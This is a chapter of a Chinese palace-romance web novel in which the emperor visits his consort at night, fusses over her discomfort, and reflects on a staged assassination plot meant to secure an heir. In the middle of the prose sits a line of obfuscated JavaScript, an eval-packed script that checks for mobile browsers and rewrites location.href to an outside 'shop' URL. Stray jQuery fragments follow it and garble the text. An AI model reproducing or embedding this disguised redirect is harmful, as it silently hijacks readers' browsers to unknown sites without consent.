25. 朕来还愿

作品:《二嫁帝王吃喝日常

    夜间,虞书斜倚在外间木榻上,翻着一本时兴的宦旅游记。


    连蒙带猜,勉强能看得下去。


    逢春坐在榻尾,捧着蒙书,念念有词。


    乌溜溜的眼睛,尽往榻几上书册......旁边的青瓷碟子上飘。


    两方小点,一个洁白胜雪,顶上一点胭脂,若桃花初绽,玲珑可爱;一个新绿如碧水,团团圆圆,软软糯糯,憨态可掬。


    待得小姑娘一心二用,结结巴巴,背完一段三百千,虞书将书搁在小腹上,抻了抻腿,将几案往她那边推了推。


    逢春小小欢呼一声,扑到案前,一手一个,一口一个。


    嘴巴里塞满了,才记起来该让让人,“白露姐姐,你也吃呀。”


    白露摇头,看了眼昏昏欲睡的虞书,小声道,“你吃罢,勿要扰了夫人。”


    每次风荷试做新品,她总会吃到许多......失败作。


    夫人“第一心腹人”不好当呀。


    室内又恢复了安静。


    只有逢春,贪吃的小耗子一样,窸窸窣窣,悄声啃点心。


    屋外,夹着寒气的东北风刮得呼呼响。


    屋角熏笼之上,两只银盘盛着江南西道土贡,十二只皮色金黄、略带青头的乳柑,持续散发着略带暖意的淡淡果香。


    泓光帝就是这时进的门。


    都等不及更衣,只换了件鹤氅,掩了身上玄衣与绛纱袍,趁夜匆匆而至。


    白露正对着门,坐在榻下绣墩上,给夫人做贴身小衣。


    抬头一看,噗通跪倒,“陛下圣安!”


    虞书惊得坐起,面上一片茫然。


    啪嗒,游记滑落下来,跌在方砖上。


    她跟着低头。


    石青色莲花砖面,出现一双熟悉的乌皮靴,玄端白底,靴头云起,庄重威严。


    泓光帝摆手,示意旁人退下。


    白露磕完头起身,低眉顺眼,弓着身子往外退,路过仿若石化的逢春,一把扯过她,小碎步疾走,直至退出内室。


    逢春被强行勾带着拖走,回过神来,小脑袋不依不饶,往虞书处看。


    急得白露上手掐了她一把,嘴唇微翕,与她耳语,“休要无礼,带累夫人。”


    洞开的门扉被轻轻阖上。


    泓光帝目光从虞书小腹一掠而过,落在她苍白的脸上,“累了怎不去歇息?”


    虞书打了个哈欠,又趴回凭几上,留给泓光帝一个冷淡的后脑勺。


    她是不想睡吗?


    那也要能睡得着。


    不知为何,近来身体内忽然燥意疯长,日以夜继,烧心灼肺,让她不得安眠。


    泓光帝在虞书身后落座,屈指拨弄起她白生生的后颈,“夫人怎的不理朕?可是怪朕许久没来?”


    虞书噌的弹起,手才扬起,就被抱了个满怀,“夫人好大的脾气。”


    眨眼间,手背印下一个热吻。


    虞书耳根瞬间起火,杏眼滚圆。


    泓光帝边捉着虞书手,往怀里揣,边垂眼看她,双眸星闪,笑意盎然。


    虞书眼神微直。


    泓光帝心中愉悦,又在她唇上浅啄一口,“朕今夜得闲,特来还夫人所愿。”


    还愿?还什么愿?


    她怎么不知自己对他许过愿?


    虞书尚自迷糊,身子忽然凌空,被泓光帝打横抱起,往内室而去。


    床榻忽焉在前,虞书恍然。


    啊呸!她才没许过这种愿!


    虞书手脚并用,挣扎起来。


    泓光帝稳如老狗,压着虞书不许她动,“好生待着,勿要乱动。”


    虞书冷嘶一口气,身子直哆嗦。


    泓光帝唬了一跳,手下意识用力,“怎么了?可是哪里不舒服?”


    虞书黑着脸,使劲掰他狗爪。


    放哪呢放哪呢?


    没发觉放错地方了吗!


    泓光帝这才感受到那处的柔软可人。


    皇帝陛下大大方方,拢了拢手,含笑轻呵,“夫人哪里朕没摸过?嗯?”


    虞书疼得直嗦气,眼角都是泪花花。


    泓光帝反应过来,忙抱虞书坐下,“疼?朕没怎么用力,怎会疼哭?”


    虞书气得要死,偏过头去,恨恨擦眼。


    她没哭。


    就是疼的。


    泓光帝紧张起来,“朕叫大夫来。”


    虞书慌忙把头扭回来,捂他嘴,“不要!”


    叫什么大夫,三更半夜,冷风呼呼的。


    这感觉她熟得很。


    来月信前的小征兆罢了。


    虞书真心希望,这回是来真格的。


    正常点,最好正常点。


    泓光帝不放心,“可还有别处疼?”


    眼神悄然向下,带着隐秘的忧虑,往她小腹上飘。


    虞书捂着胸口,又羞又恼,拨开泓光帝过于靠近的脸,“走,开。”


    泓光帝揽着她,好性子道:“好好好,是朕不是,朕不碰夫人,且安心些。”


    虞书安静下来。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227523|197229||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    熟悉的淡淡的药香萦绕。


    还是……很好闻。


    虞书眼皮子渐渐耷拉下来,身子追着暖熏熏的热源,往泓光帝怀里缩了又缩。


    泓光帝靠在围子上,轻抚着虞书后背,目光不觉落在床头。


    围栏上,雕着大燕最常见的福寿三多。


    代表多福的云纹,代表长寿的灵芝,代表多子的石榴。


    枝头上的石榴果又大又圆,顶端微咧,露出一圈红艳艳、亮晶晶的石榴籽,仿若孩童开口笑。


    泓光帝低下头来,怀中人呼吸细细,竟已睡得十分深沉了。


    “倒是会挑人。”


    这天底下,能在朕怀中安睡的,能有几人?无人。


    如今,有了。


    泓光帝嘴角微翘,点了点虞书鼻尖,手往下一落,停在她小腹处。


    目光深深。


    朕的孩子。


    朕的血脉。


    泓光帝低头,与虞书脸贴脸,喃喃唤了声夫人。


    “夫人定是上天派来助朕的神女。”


    时间不等人。


    即便他身体能调理好,大燕却无法再继续等下去。


    一个君王,迟迟不能拥有自己子嗣,不能在垂垂老矣前定下合意的继承人,江山如何能稳固?


    主动设计这场刺杀案,又何尝不是被逼无奈,是没有选择的选择?


    赌的就是置之死地而后生。


    好在他赢了。


    又一回,他赢了。


    朕的万里江山,还是朕的。


    明年六月,朕还将拥有自己的继承人。


    泓光帝起身时,天还没亮。


    大燕每朔望一大朝,在京九品以上官员皆需与会;每五日一常朝,在京五品以上官员必至;三省六部,正四品以上高官,每日常会。


    今儿正好是常朝,辰时初上殿即可。


    隐园便在皇城边上,离景风门极近,直线距离不到一里。


    泓光帝可以从容行事。


    待他更衣完毕,重回内室,虞书醒了。


    泓光帝弯腰,摸了摸她脸,“朕该走了,过几日得空再来看夫人。”


    虞书眨了眨眼,睡意略散。


    泓光帝手一顿,含笑道:“夫人若是舍不得朕,便进宫陪朕。”


    虞书刷的闭眼。


    不,她没醒!


    泓光帝揉了一把她发丝凌乱的鹌鹑脑袋,笑斥了一句,“小滑头!”


    虞书坚决不睁眼。


    她要装死到底。